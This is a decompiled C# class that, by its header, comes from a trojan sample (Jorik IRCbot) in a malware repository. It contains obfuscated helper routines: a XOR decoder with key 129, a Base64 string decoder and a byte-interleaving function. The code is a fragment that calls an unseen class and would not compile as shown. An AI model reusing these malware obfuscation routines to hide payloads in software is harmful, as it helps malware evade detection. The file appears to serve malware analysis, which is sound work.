// Decompiled with JetBrains decompiler // Type: ybneke5hgomifymim4zvimnpa // Assembly: 4ldbvrmz, Version=6.0.220.4, Culture=neutral, PublicKeyToken=null // MVID: 7CE81D78-4EC2-4D47-AD6D-9A598C5B77D4 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881.exe using System; using System.Collections.Generic; public static class ybneke5hgomifymim4zvimnpa { public static int Xutbkh02q4gnaaep3pvetdxkj = 129; public static byte[] Pifnfhcoyavmjbz5u(byte[] Pkkbuxe0eddtlfhye) { for (int index = 0; index < Pkkbuxe0eddtlfhye.Length; ++index) { char ch = (char) ((uint) Convert.ToChar(Pkkbuxe0eddtlfhye[index]) ^ (uint) ybneke5hgomifymim4zvimnpa.Xutbkh02q4gnaaep3pvetdxkj); Pkkbuxe0eddtlfhye[index] = Convert.ToByte(ch); } return Pkkbuxe0eddtlfhye; } public static string Q2kqkb3gwlztiqkx035mgfo3r(string D3ftweqatkhdmzw1tbygoswmr) => xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.jeuqjvb1edhczrmrcddcfjyrbkgzy5eq5(Convert.FromBase64String(D3ftweqatkhdmzw1tbygoswmr)); public static byte[] Gsfkp23vk2tqje234pmjrnbgq(byte[] D3ftweqatkhdmzw1tbygoswmr) { int length = D3ftweqatkhdmzw1tbygoswmr.Length; int num1 = (length + 1) / 2; List byteList1 = new List((IEnumerable) ybneke5hgomifymim4zvimnpa.d4ncf51f1qm2aosw3eoex5yc1(D3ftweqatkhdmzw1tbygoswmr, 0, num1)); List byteList2 = new List((IEnumerable) ybneke5hgomifymim4zvimnpa.d4ncf51f1qm2aosw3eoex5yc1(D3ftweqatkhdmzw1tbygoswmr, num1, length - num1)); int num2 = 0; for (int index = 0; index < byteList2.Count; ++index) { byteList1.Insert(num2 + 1, byteList2[index]); num2 += 2; } return byteList1.ToArray(); } public static byte[] d4ncf51f1qm2aosw3eoex5yc1(byte[] first, int offset, int count) { byte[] dst = new byte[count]; Buffer.BlockCopy((Array) first, offset, (Array) dst, 0, count); return dst; } }